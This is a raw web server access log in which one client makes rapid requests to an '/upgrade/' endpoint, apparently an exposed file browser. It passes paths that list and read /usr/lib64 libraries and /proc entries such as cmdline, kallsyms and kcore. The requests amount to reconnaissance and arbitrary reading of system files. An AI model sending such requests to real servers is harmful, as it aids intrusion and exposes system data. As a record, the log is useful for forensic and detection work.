45.135.193.11 - - [11/Sep/2026:23:04:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre16.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 295161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre16.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre16.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 294560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre16.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra.so.0.2.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136396 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra.so.0.2.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-subset.so.0.20704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 355836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-subset.so.0.20704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhns.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129867 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhns.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkdb5.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkdb5.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-genl-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-genl-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibplds4.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110312 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibplds4.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:28 -0400] "GET /upgrade/?location=%2Fproc%2F815498 HTTP/1.1" 200 9084 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F815498" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:28 -0400] "GET /upgrade/?location=%2Fproc%2F184 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F184" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F193 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F193" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F27 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F27" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fcpuinfo&location=%2Fproc%2F HTTP/1.1" 200 29784 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fcpuinfo&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F1641526 HTTP/1.1" 200 9096 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641526" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F166 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F166" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F180 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F180" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F694858 HTTP/1.1" 200 9224 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F694858" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:29 -0400] "GET /upgrade/?location=%2Fproc%2F105 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F105" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F2456088 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2456088" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F140 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F140" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F146 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F146" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2Fbus HTTP/1.1" 200 6009 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Fbus" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fcmdline&location=%2Fproc%2F HTTP/1.1" 200 27637 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fcmdline&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F145 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F145" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F163 HTTP/1.1" 200 9058 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F163" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F175 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F175" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F2455291 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2455291" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F815600 HTTP/1.1" 200 9179 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F815600" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F1077 HTTP/1.1" 200 9150 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1077" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F1091 HTTP/1.1" 200 9149 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1091" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:30 -0400] "GET /upgrade/?location=%2Fproc%2F2456404 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2456404" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F37 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F37" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F689 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F689" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F1733 HTTP/1.1" 200 9168 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1733" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F277 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F277" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F1649857 HTTP/1.1" 200 9118 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1649857" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F235 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F235" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F2434457 HTTP/1.1" 200 9053 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2434457" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F44 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F44" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F691 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F691" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F700 HTTP/1.1" 200 9068 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F700" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F894 HTTP/1.1" 200 9078 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F894" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fexecdomains&location=%2Fproc%2F HTTP/1.1" 200 27670 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fexecdomains&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F1209 HTTP/1.1" 200 9133 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1209" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F1641530 HTTP/1.1" 200 9088 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641530" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:31 -0400] "GET /upgrade/?location=%2Fproc%2F186 HTTP/1.1" 200 9058 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F186" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F2477419 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477419" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F2407139 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2407139" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F99 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F99" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F&option=folder HTTP/1.1" 200 27871 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F1199 HTTP/1.1" 200 9133 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1199" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F238 HTTP/1.1" 200 9058 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F238" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F2390089 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2390089" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F2416791 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2416791" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F50 HTTP/1.1" 200 9080 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F50" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F51 HTTP/1.1" 200 9080 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F51" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2Fdynamic_debug HTTP/1.1" 200 6085 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Fdynamic_debug" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:32 -0400] "GET /upgrade/?location=%2Fproc%2F169 HTTP/1.1" 200 8892 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F169" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F56 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F56" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fuptime&location=%2Fproc%2F HTTP/1.1" 200 27945 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fuptime&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F148 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F148" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F1642155 HTTP/1.1" 200 9102 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1642155" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F2476971 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2476971" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F92 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F92" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fkallsyms&location=%2Fproc%2F HTTP/1.1" 200 2242179 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fkallsyms&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F571 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F571" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F1197 HTTP/1.1" 200 9134 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1197" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F159 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F159" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:33 -0400] "GET /upgrade/?location=%2Fproc%2F598 HTTP/1.1" 200 9070 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F598" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fdma&location=%2Fproc%2F HTTP/1.1" 200 27932 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fdma&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fkcore&location=%2Fproc%2F HTTP/1.1" 200 27927 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fkcore&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F1648787 HTTP/1.1" 200 9156 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1648787" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fiomem&location=%2Fproc%2F HTTP/1.1" 200 28093 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fiomem&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F124 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F124" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F135 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F135" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F49 HTTP/1.1" 200 9086 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F49" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F1641519 HTTP/1.1" 200 9112 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641519" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F1748354 HTTP/1.1" 200 9137 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1748354" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:34 -0400] "GET /upgrade/?location=%2Fproc%2F19 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F19" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
